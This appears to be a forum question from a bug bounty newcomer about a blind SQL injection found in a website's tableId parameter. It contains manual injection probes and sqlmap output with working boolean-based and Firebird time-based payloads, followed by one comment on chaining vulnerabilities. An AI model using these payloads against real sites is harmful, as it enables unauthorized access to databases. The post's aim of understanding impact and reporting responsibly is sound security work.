1

I recently found a boolean-based blind SQLi and since I'm new to the bug bounty scene - I don't understand what impact I can extract from it.

There is a website like example.com/tarif?tableId=136&dbsource=gkcp&nf=undefined. The vulnerable parameter is tableId (the rest of the parameters are not vulnerable). If you add ' after the value, then you will get an internal server error. If you add '-- then the page will return 200, as if we didn't add anything.

I managed to get the number of columns by adding 'order by 5--, while 'UNION SELECT NULL, NULL, NULL, NULL, NULL-- returns an error.

This is the output sqlmap gave me:

Parameter: tableId (GET)    
Type: boolean-based blind   
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: tableId=1' AND 2059=2059 AND
'uWbx'='uWbx&dbsource=gkcp&nf=undefined  
 
Type: time-based blind    
Title: Firebird >= 2.0 AND time-based blind (heavy query)  
Payload: tableId=1' AND 3665=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) AND 'VcZz'='VcZz&dbsource=gkcp&nf=undefined

[05:17:07] [INFO] the back-end DBMS is Firebird  
web server operating system: Windows 2022 or 2016 or 11 or 10 or 2019  
web application technology: ASP.NET 4.0.30319, Microsoft IIS 10.0, ASP.NET
back-end DBMS: Firebird >= 2.0

I would like to understand if it is possible to determine a vulnerability from this, whether there is an actual impact from this and whether it makes sense to report it to bug bounty author.

1
  • 2
    If you managed to extract information you should not have access to, that is a vulnerability. Even vulnerabilities that seem insignificant on their own can be used together with other vulnerabilities in order to create a serious exploit. It's not uncommon for exploits to be built up from a chain of small vulnerabilities.
    – n-l-i
    Commented May 25 at 19:26

0

You must log in to answer this question.

Browse other questions tagged .